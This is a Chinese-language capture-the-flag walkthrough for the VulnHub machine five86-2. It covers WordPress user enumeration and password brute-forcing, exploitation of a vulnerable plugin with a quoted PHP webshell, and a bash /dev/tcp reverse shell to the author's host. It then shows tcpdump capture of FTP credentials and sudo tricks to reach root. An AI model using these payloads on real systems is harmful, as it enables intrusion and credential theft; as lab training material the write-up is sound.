靶機難度:初級 +
工具及漏洞信息#
- netdiscover
- nmap
- gobuster
- tcpdump
0x01 信息收集#
掃描靶機#
netdiscover的-r參數掃描192.168.1.0/16或者路由器管理界面查看有線連接的設備得到靶機ip
nmap掃描主機及端口信息:
nmap -sS -A -n -T4 -p- 192.168.1.3

可以看到開放的端口較少,但是我看到有wordpress
打開很卡很卡,載入半天才載入完。而且載出來的頁面是不完整的

這個頁面是可以修復為完整的界面的,抓包:

發現對正常的響應包,響應的url為http://five86-2/,修改hosts文件即可:
Windows:C:\Windows\System32\drivers\etc\hosts
Linux:/etc/hosts
添加一行:靶機ip five86-2
然後就可以正常打開頁面了:

wpscan#
既然只有wordpress這一條路給我們走,那就只能直接上wpscan了
使用及數據庫更新方法在我之前的文章《用 wpscan 對 wordpress 站點進行滲透》裡面有
掃描用戶:
wpscan --url 192.168.1.3 -e u

有以下用戶:
- admin
- barney
- gillian
- peter
- stephen
保存到users.txt中,接著使用wpscan進行密碼爆破:
wpscan --url http://192.168.1.3 -U users.txt -P /usr/share/wordlists/rockyou.txt -t 100
(kali自帶的rockyou.txt.gz文件需要先解壓:gzip -d /usr/share/wordlists/rockyou.txt.gz)
最後爆破出來兩個用戶密碼;
- barney:spooky1
- stephen: apollo1
0x02 RCE 反彈 shell#
獲得了賬戶密碼之後,我們就可以登錄上去搞事情了:

剛才掃描的時候沒有掃描出任何插件,但是上去有三個插件:

挨個在exploit-db搜索後,我找到了個RCE漏洞:

# Exploit Title: Authenticated code execution in `insert-or-embed-articulate-content-into-wordpress` Wordpress plugin
# Description: It is possible to upload and execute a PHP file using the plugin option to upload a zip archive
# Date: june 2019
# Exploit Author: xulchibalraa
# Vendor Homepage: https://wordpress.org/plugins/insert-or-embed-articulate-content-into-wordpress/
# Software Link: https://downloads.wordpress.org/plugin/insert-or-embed-articulate-content-into-wordpress.4.2995.zip
# Version: 4.2995 <= 4.2997
# Tested on: Wordpress 5.1.1, PHP 5.6
# CVE : -
## 1. Create a .zip archive with 2 files: index.html, index.php
echo "<html>hello</html>" > index.html
echo "<?php echo system($_GET['cmd']); ?>" > index.php
zip poc.zip index.html index.php
## 2. Log in to wp-admin with any user role that has access to the plugin functionality (by default even `Contributors` role have access to it)
## 3. Create a new Post -> Select `Add block` -> E-Learning -> Upload the poc.zip -> Insert as: Iframe -> Insert (just like in tutorial https://youtu.be/knst26fEGCw?t=44 ;)
## 4. Access the webshell from the URL displayed after upload similar to
http://website.com/wp-admin/uploads/articulate_uploads/poc/index.php?cmd=whoami
在youtube上有簡單的步驟教程
我來跟著它做一遍,注意對應修改你的代碼:
echo "<html>hello</html>" > index.html
index.php用vim寫入以下內容
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.6/3333 0>&1'");
zip poc.zip index.html index.php

寫入index.php反彈shell的語句姿勢很多,自行搜索
新建一篇文章,默認模板會讓你添加塊,選擇E-Learning模塊:

點擊上傳,選擇我們的poc.zip:


顯示upload complete之後拉到最後點擊insert,然後就會得到一個上傳的路徑:

此時我的shell已經成功的上傳到了靶機上,先在本機開啟監聽nc -lvp 3333
然後訪問我們的shell:
http://five86-2/wp-content/uploads/articulate_uploads/poc/index.php
本機成功拿到shell:

0x03 tcpdump 抓包 ftp 賬密#
這個shell肯定不好用,老方法用python開啟tty:
python -c 'import pty; pty.spawn("/bin/bash")' # 有些沒有安裝Python2,所以需要換成python3 -c
切換到/home目錄下發現了我們之前爆破出來的賬戶:

我們登錄其中一個:stephen: apollo1,查看定時任務和sudo -l權限:

無果,id查看組發現有一個pcap組

ip add查看網卡發現有一個網絡接口比較奇怪:

pcap是和網絡流量相關的,那我們使用流量工具tcpdump抓下包:
timeout 120 tcpdump -w soap.pcap -i vethb26451b
timeout 120:是用來控制 tcpdump 的超時時間為 120s
tcpdump -w 保存為文件,-i指定監聽的網絡接口
需要到根目錄下執行,2 分鐘後便會停止:

然後我們再用tcpdump打開文件看一下:
tcpdump -r soap.pcap |more

在包中發現了ftp賬戶的賬號和密碼:paul:esomepasswford,嘗試切換過去
0x04 sudo 提權 root#
切換過後習慣性sudo -l查看可執行的sudo命令:

用sudo來以peter用戶去運行/usr/sbin/service,並切換到/bin/bash
這個時候就成功切換到peter用戶:
sudo -u peter /usr/sbin/service ../../bin/bash

切換後再看下peter賬戶的sudo權限:

可以以root用戶無密碼執行/usr/bin/passwd,那我們現在就可以直接更改root賬戶的密碼了:
sudo -u root passwd root

在/root目錄下拿到flag:

本文完。
PS:
vulnhub 靶機簡單難度的套路已經差不多做了一遍了,只有一兩個新的知識點的靶機就不做了
接下來我會針對性地選擇好玩的靶機,這個系列沒幾篇了吧 (大概)
參考文章: